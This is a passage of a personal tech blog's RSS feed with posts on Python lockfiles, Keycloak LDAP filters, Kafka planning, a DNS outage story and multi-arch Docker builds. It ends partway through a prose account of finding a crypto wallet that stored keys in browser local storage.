    src="/images/Screenshot-2023-10-22-at-18.27.41.webp"
    alt="The imported Siren album in Apple Music"
    width="1600"
    height="946"
    loading="lazy"
    decoding="async"
  />
  <figcaption class="media-caption">The uploaded album</figcaption>
</figure>
<aside class="callout callout-warning" aria-label="Audio quality note">
  <p>
    The album shown above has no Lossless badge in Apple Music. Its FLAC files appeared to have been created from
    a lossy source. Converting a file to ALAC does not improve its source quality. Check the codec and quality of
    releases you buy or rip.
  </p>
</aside>

        
      ]]></description>
    </item>
    
    <item>
      <title>Generate a Python Lockfile with GitHub Actions</title>
      <pubDate>Thu, 12 Oct 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/using-github-actions-to-generate-a-lockfile-for-python-project/</link>
      <guid>https://akrisanov.com/using-github-actions-to-generate-a-lockfile-for-python-project/</guid>
      <description xml:base="https://akrisanov.com/using-github-actions-to-generate-a-lockfile-for-python-project/"><![CDATA[
        <p>Published: 2023-10-12</p>
        
        
          <p>When development and deployment use different operating systems or processor architectures, generate the Python
lockfile in the deployment environment. GitHub Actions can run this step without requiring the same environment on
the developer's machine.</p>
<p>I develop on macOS with Apple silicon, while most of my projects run on Linux. Resolved dependencies can differ
between these environments because not every package provides wheels for every platform. The Python version can
also affect the result.</p>
<p>For example, <code>pip-compile</code> can produce different lockfiles on macOS, Linux, and Windows:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">pip-compile</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-allow-unsafe</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-generate-hashes</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-no-emit-index-url</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-output-file=requirements-lock.txt</span></span></code></pre><p class="media-caption code-caption">Using pip-tools to compile a requirements lockfile</p>
        
      ]]></description>
    </item>
    
    <item>
      <title>Synchronize Active Directory Users with a Keycloak LDAP Filter</title>
      <pubDate>Sat, 23 Sep 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/custom-user-ldap-filter-in-keycloak/</link>
      <guid>https://akrisanov.com/custom-user-ldap-filter-in-keycloak/</guid>
      <description xml:base="https://akrisanov.com/custom-user-ldap-filter-in-keycloak/"><![CDATA[
        <p>Published: 2023-09-23</p>
        
        
          <p>Keycloak User Federation can synchronize users from an external directory through LDAP or Kerberos. In a large
Active Directory structure, the users required by one Keycloak realm may be spread across several organizational
units. A custom LDAP filter can select only those accounts.</p>
        
      ]]></description>
    </item>
    
    <item>
      <title>Understand How Services Run and Operate in Production</title>
      <pubDate>Wed, 06 Sep 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/understand-how-services-are-run-and-operate-in-production/</link>
      <guid>https://akrisanov.com/understand-how-services-are-run-and-operate-in-production/</guid>
      <description xml:base="https://akrisanov.com/understand-how-services-are-run-and-operate-in-production/"><![CDATA[
        <p>Published: 2023-09-06</p>
        
        
          <p>Over the past few years, I have interviewed dozens of software engineers who could not explain how the services they
developed ran in production. Infrastructure or platform teams often manage deployment, but that division of
responsibility does not remove the need to understand a service's runtime behavior.</p>
        
      ]]></description>
    </item>
    
    <item>
      <title>Choosing Apache Kafka for a New Project</title>
      <pubDate>Tue, 29 Aug 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/choosing-kafka/</link>
      <guid>https://akrisanov.com/choosing-kafka/</guid>
      <description xml:base="https://akrisanov.com/choosing-kafka/"><![CDATA[
        <p>Published: 2023-08-29</p>
        
        
          <p>Apache Kafka is often proposed whenever a project needs to process events, messages, or data streams.
The choice is not always deliberate. A conventional message broker such as ActiveMQ may be enough,
but Kafka's popularity can influence the decision.</p>
<p>If Kafka has been selected deliberately or mandated by the infrastructure team, settle the following
points before configuring the brokers and writing producers and consumers.</p>
<ol>
<li>
<p><strong>Estimate producer data volume.</strong> Confirm that the network can handle the load across the system,
especially on critical paths. Evaluate
<a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/kafka-message-compression/">message compression</a> where appropriate.</p>
</li>
<li>
<p><strong>Define the <a rel="noopener external" target="_blank" href="https://strimzi.io/blog/2021/12/17/kafka-segment-retention/">data retention policy</a>.</strong>
Set the retention period from the product's business and data-protection requirements, then account
for the storage cost.</p>
</li>
<li>
<p><strong>Choose producer <a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/kafka-producer-acks-deep-dive/">acknowledgement settings</a>.</strong>
Balance latency against reliability and durability under replication.</p>
</li>
<li>
<p><strong>Define delivery guarantees.</strong> Establish how the product handles message loss and duplicate messages.
Decide whether it needs
<a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/idempotent-kafka-producer/">idempotent producers</a> or
<a rel="noopener external" target="_blank" href="https://www.confluent.io/blog/transactions-apache-kafka/">transactions</a>.</p>
</li>
<li>
<p><strong>Choose a <a rel="noopener external" target="_blank" href="https://redpanda.com/guides/kafka-tutorial/kafka-partition-strategy">partitioning strategy</a>.</strong>
Verify that Kafka's default partitioner matches the required ordering and load distribution.</p>
</li>
<li>
<p><strong>Choose the topic cleanup policy.</strong> Keep the complete message log when every record matters. If only
the latest value for each key matters, consider
<a rel="noopener external" target="_blank" href="https://docs.confluent.io/kafka/design/log_compaction.html">log-compacted topics</a>.</p>
</li>
<li>
<p><strong>Plan <a rel="noopener external" target="_blank" href="https://www.conduktor.io/kafka/kafka-consumer-groups-and-consumer-offsets/">consumer groups</a>.</strong>
Define how consumers will scale, what throughput they need, and how they will behave during
<a rel="noopener external" target="_blank" href="https://www.verica.io/blog/understanding-kafkas-consumer-group-rebalancing/">group rebalancing</a>.</p>
</li>
</ol>
<p>This checklist covers application-facing decisions. Encryption, authentication, authorization, and
cluster configuration still need explicit ownership, even when an SRE team or a PaaS manages them.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>My &quot;It&#39;s Not DNS&quot; Story</title>
      <pubDate>Sat, 12 Aug 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/it-is-not-dns/</link>
      <guid>https://akrisanov.com/it-is-not-dns/</guid>
      <description xml:base="https://akrisanov.com/it-is-not-dns/"><![CDATA[
        <p>Published: 2023-08-12</p>
        
        
          <p>Summer of 2019. I'm joining a large retail organization that is undergoing a digital transformation.
The role I've been hired for is a technical leadership role. The project I'm taking over doesn't
even have a complete team yet, which means I'll be wearing all sorts of hats until I hire someone
and delegate work. You could say, I'm the only "developer" on the team. Also, the code base is
already serving users, and the services are part of a lead generation funnel for one of the grocery
networks. So if something goes down, the company loses potential customers and revenue. The fact
that the project was developed by an outsourced team that has already left without handing over
proper documentation makes things more complicated and fragile.</p>
<p>In a few days, I try to understand how the services are run in production, write missing README
and system design papers, and create initial tasks for maintenance. All goes well, and I manage
to deploy some changes to the backend. It's Friday afternoon, so I still have time to do
a rollback if I've made a mistake. But nothing suspicious has been observed during the day,
and I leave the office for the weekend.</p>
<p>The fun begins on Sunday. Because I'm in charge of the project, I'm the one who is on-call.
I get a call from our support team telling me that the web application isn't responding from time
to time and that they're getting complaints from customers.</p>
<p>The first thing I do is open my browser to check what users are seeing. Surprisingly, a web page
loads just fine. I hit refresh – same result. Then I turn off Wi-Fi on my iPhone and open
Safari – 504 error. It's a Nginx page. Now it is something.</p>
<figure class="article-figure">
  <img
    src="/images/karusel-arch.webp"
    alt="Simplified diagram of the project architecture"
    width="1464"
    height="1382"
    loading="lazy"
    decoding="async"
  />
  <figcaption class="media-caption">Simplified diagram of the project architecture</figcaption>
</figure>
<p>I open the monitoring and observe no high load. CPU usage is low, more than 50% of memory is free,
plenty of free disk space on each of the virtual machines, no spikes in the network bandwidth.
Looking at the Nginx logs only proves that there's a gateway timeout error related to the backend.
I should check the application backend logs. Nothing there, no errors at all.</p>
<p>At this point, I start to blame the network and call the network infrastructure team.
These guys work on an organisational level and potentially can see what I can't. After spending
an hour investigating together, we see nothing. It's already Sunday evening, and
I'm almost hopeless.</p>
<p>I decide to take a break and go for a walk. When I'm back, I try to ssh to a VM again. Suddenly,
I notice a few seconds of delay before I can type my commands into a terminal. "It can't be DNS",
I say to myself. To prove it, I ping a public domain from our network. Again, a few seconds of
delay and the network packets are flying without a hitch.
"If DNS was down, the infrastructure team would notice," I continue to reason.
Before escalating the situation further to upper management, I choose to check the DNS
configuration on the backend virtual machines.</p>
<p>The <code>/etc/resolv.conf</code> file contains DNS resolver configuration in the following format:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">nameserver</span><span> [ip</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">nameserver</span><span> [ip</span><span>]</span></span></code></pre>
<p>In my developer's mind, a Linux machine receives these records at boot time and caches them.
This file is then queried to resolve domains. What could possibly go wrong? Well, I ask the
infrastructure team about the IP addresses I see in <code>/etc/resolv.conf</code> and get a surprising
answer: "The IP addresses are DNS load balancers and the first one in the list is currently down".
Hearing this, I begin to understand why the ssh and initial ping delays are happening.
The first DNS load balancer is queried, but because it's down, it doesn't respond, and
the resolution continues with the second IP address.</p>
<p>I remove the first nameserver from <code>/etc/resolv.conf</code> and drop the DNS cache on each of the VMs.
After a few seconds, the 504 error and the gateway timeout disappear. In the morning, we'll
discuss the incident with the infrastructure team and senior management. Fun week ahead.</p>
<figure class="callout callout-bdc article-quote">
  <blockquote>
    <p>
      It's not DNS<br />
      There's no way it's DNS<br />
      It was DNS
    </p>
  </blockquote>
  <figcaption class="author">Old Japanese haiku</figcaption>
</figure>

        
      ]]></description>
    </item>
    
    <item>
      <title>Building Multi-Arch Images for Arm and x86</title>
      <pubDate>Thu, 10 Aug 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/multi-arch-docker-images/</link>
      <guid>https://akrisanov.com/multi-arch-docker-images/</guid>
      <description xml:base="https://akrisanov.com/multi-arch-docker-images/"><![CDATA[
        <p>Published: 2023-08-10</p>
        
        
          <p>At work, I am involved in the development of a machine learning SDK and cloud services for
privacy and data protection. Like almost every company in this space, we rely heavily on
Python's scientific ecosystem. Because it's quite mature and depends on native library
development that started years ago, getting these packages to work on new architectures
can be tedious.</p>
<p>I am one of the few developers on our team who has stuck with MacOS and have a Macbook Pro
with M1 chip. There is no easy way for me to bootstrap our development environment in a matter
of minutes. I have to use Conda, install specific versions of Python packages, patch some native
libraries, and even create a symlink from an OS-specific package to its generic name
(I'm talking to you, Tensorflow). People on the <code>x86_64</code> architecture generally won't have
this problem – almost every package we use comes with a pre-built wheel for a chosen OS.
Moreover, to install the SDK as a dependency of, say, an HTTP API service, I had to assemble
it from sources: <code>pip install -e '.'</code></p>
<p>A few months ago we didn't even support the Arm64 architecture at a build level. This changed when
I introduced a Github Action pipeline to build Python wheels for Linux <code>x86_64</code>, <code>aarch64</code>, and <code>universal</code>.
Instead of manually compiling some native libraries on my machine, I moved the work to GitHub and
its Linux instances. From that moment on, I could just get the package from a private PyPI registry.
The sad truth is that I still use Conda and sometimes patch one or two transitive dependencies for
my M1 chip. But other than that, no hard times to date.</p>
<p>Today I needed to distribute a newly created API service with the SDK inside as a Docker image.
And I haven't found an easy way to define a Dockerfile that can be built and run on
Apple Silicon without Conda:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="docker"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">FROM</span><span> python:3.9-slim-buster </span><span style="color: light-dark(#8839EF, #CBA6F7);">AS</span><span> base</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONDONTWRITEBYTECODE=1</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONUNBUFFERED=1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Conda</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get update &amp;&amp; apt-get -y upgrade</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PATH=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">/root/miniconda3/bin:${PATH}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ARG</span><span> PATH=</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">/root/miniconda3/bin:${PATH}</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> wget \</span></span>
<span class="giallo-l"><span>    https://repo.anaconda.com/miniconda/Miniconda3-latest-Linux-aarch64.sh \</span></span>
<span class="giallo-l"><span>    &amp;&amp; mkdir /root/.conda \</span></span>
<span class="giallo-l"><span>    &amp;&amp; bash Miniconda3-latest-Linux-aarch64.sh -b \</span></span>
<span class="giallo-l"><span>    &amp;&amp; rm -f Miniconda3-latest-Linux-aarch64.sh</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a Conda environment and install native dependencies</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> --mount=type=cache,target=/root/.cache \</span></span>
<span class="giallo-l"><span>    conda init bash &amp;&amp; . /root/.bashrc &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda update conda &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda create -n de_agent python=3.9 &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda env config vars set -n de_agent LD_PRELOAD=/usr/lib/aarch64-linux-gnu/libgomp.so.1 &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda activate de_agent &amp;&amp; \</span></span>
<span class="giallo-l"><span>    conda install gdal llvmdev dm-tree -y &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install --upgrade pip setuptools wheel &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install h3</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Copy application files</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">WORKDIR</span><span> /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> app/ .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> logging.yaml .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> main.py .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> requirements.txt ./</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Python packages</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ARG</span><span> DE_AGENT_PYPI_TOKEN</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> --mount=type=cache,target=/root/.cache \</span></span>
<span class="giallo-l"><span>    . /root/.bashrc &amp;&amp; conda activate de_agent &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/ &amp;&amp; \</span></span>
<span class="giallo-l"><span>    pip install numpy==1.23.5</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Cleanup</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt autoremove &amp;&amp; apt clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a user</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> groupadd -r de_agent &amp;&amp; useradd -r -m -g de_agent de_agent</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> chown -R de_agent:de_agent /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">USER</span><span> de_agent</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Run the web application</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">EXPOSE</span><span> 8000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENTRYPOINT</span><span> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">PYTHONPATH=.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">main.py</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>]</span></span></code></pre>
<p>As you can see, the manifest is quite verbose. It also adds the Conda binaries and related
files to a release image. It is a price that must be paid.</p>
<p>Fortunately, for Linux, we don't need all of this machinery:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="docker"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">FROM</span><span> python:3.9-slim-buster </span><span style="color: light-dark(#8839EF, #CBA6F7);">AS</span><span> base</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONDONTWRITEBYTECODE=1</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENV</span><span> PYTHONUNBUFFERED=1</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install system packages</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get update &amp;&amp; apt-get -y upgrade</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt-get install -y --no-install-recommends build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Copy application files</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">WORKDIR</span><span> /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> app/ .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> logging.yaml .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> main.py .</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">COPY</span><span> requirements.txt ./</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Install Python dependencies</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ARG</span><span> DE_AGENT_PYPI_TOKEN</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> --mount=type=cache,target=/root/.cache \</span></span>
<span class="giallo-l"><span>    pip install -r requirements.txt --extra-index-url=https://${DE_AGENT_PYPI_TOKEN}:@pypi.****.ai/pypi/</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Cleanup</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt -qy purge --auto-remove build-essential g++ gcc libssl-dev cmake git wget</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> apt autoremove &amp;&amp; apt clean</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> rm -rf /var/lib/apt/lists/*</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Create a user</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> groupadd -r de_agent &amp;&amp; useradd -r -m -g de_agent de_agent</span></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">RUN</span><span> chown -R de_agent:de_agent /app</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">USER</span><span> de_agent</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;">#</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Run the web application</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">EXPOSE</span><span> 8000</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">ENTRYPOINT</span><span> [</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">PYTHONPATH=.</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">python</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>, </span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">main.py</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span>]</span></span></code></pre>
<p>The question now is how to build Docker images for both architectures on a Mac.
This is where Docker comes in. Docker Desktop officially supports <a rel="noopener external" target="_blank" href="https://www.docker.com/blog/multi-arch-images/">building multi-arch images
for Arm and x86</a>. Learning this, I was able to
add a few targets to my Makefile to quickly build images:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="make"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">build</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Build a Docker image for x86_64</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> docker</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> buildx</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> build</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> --platform</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> linux/amd64</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> -t</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> de-agent</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span>amd64-latest --build-arg DE_AGENT_PYPI_TOKEN=</span><span>${</span><span>DE_AGENT_PYPI_TOKEN</span><span>}</span><span> -f Dockerfile.amd64 --no-cache .</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">build-arm</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> #</span><span style="color: light-dark(#7C7F93, #9399B2);font-style: italic;"> Build a Docker image for arm64</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> docker</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">  buildx</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> build</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> --platform</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> linux/arm64</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> -t</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> de-agent</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span>arm64-latest --build-arg DE_AGENT_PYPI_TOKEN=</span><span>${</span><span>DE_AGENT_PYPI_TOKEN</span><span>}</span><span> -f Dockerfile.arm64 --no-cache .</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);" ><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">make</span><span style="color: light-dark(#40A02B, #A6E3A1);"> build</span></span></code></pre><figure class="article-figure">
  <img
    src="/images/docker-arm-build.webp"
    alt="Docker Desktop showing the locally built amd64 image"
    width="1894"
    height="198"
    loading="lazy"
    decoding="async"
  />
  <figcaption class="media-caption">Docker image built for the amd64 architecture</figcaption>
</figure>
<p>One can say, it's so much hassle for doing all of this locally and a proper CI can solve such
a case easily. I agree – as I've mentioned, I like shifting work out of my shoulders and giving it
to some machine in the cloud. But in situations where CI is not available, creating multi-arch
images can save the day. It certainly did for me.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>Accidentally Found a Vulnerability in a Crypto Wallet and Made $1,000</title>
      <pubDate>Sat, 05 Aug 2023 00:00:00 +0000</pubDate>
      <dc:creator>Andrey Krisanov</dc:creator>
      <link>https://akrisanov.com/crypto-wallet-vulnerability/</link>
      <guid>https://akrisanov.com/crypto-wallet-vulnerability/</guid>
      <description xml:base="https://akrisanov.com/crypto-wallet-vulnerability/"><![CDATA[
        <p>Published: 2023-08-05</p>
        
        
          <p>In January 2022, I joined the community of one of the proof-of-stake blockchains.
To play with what the protocol and its ecosystem offered, I created a wallet account on
the official website <code>https://wallet.****.org</code>. Apart from general curiosity, I was interested in
how they achieved security in a browser, especially in the age of extensions and
client-side vulnerabilities.</p>
<p>It turned out that when a user logged in, the wallet application (built in React) generated a set
of public and private keys and stored them in the browser's local storage. With my experience of
building authentication and authorization in distributed systems, I knew this was not the best
thing to do – in general, it's easy for a browser extension and client-side code to read data
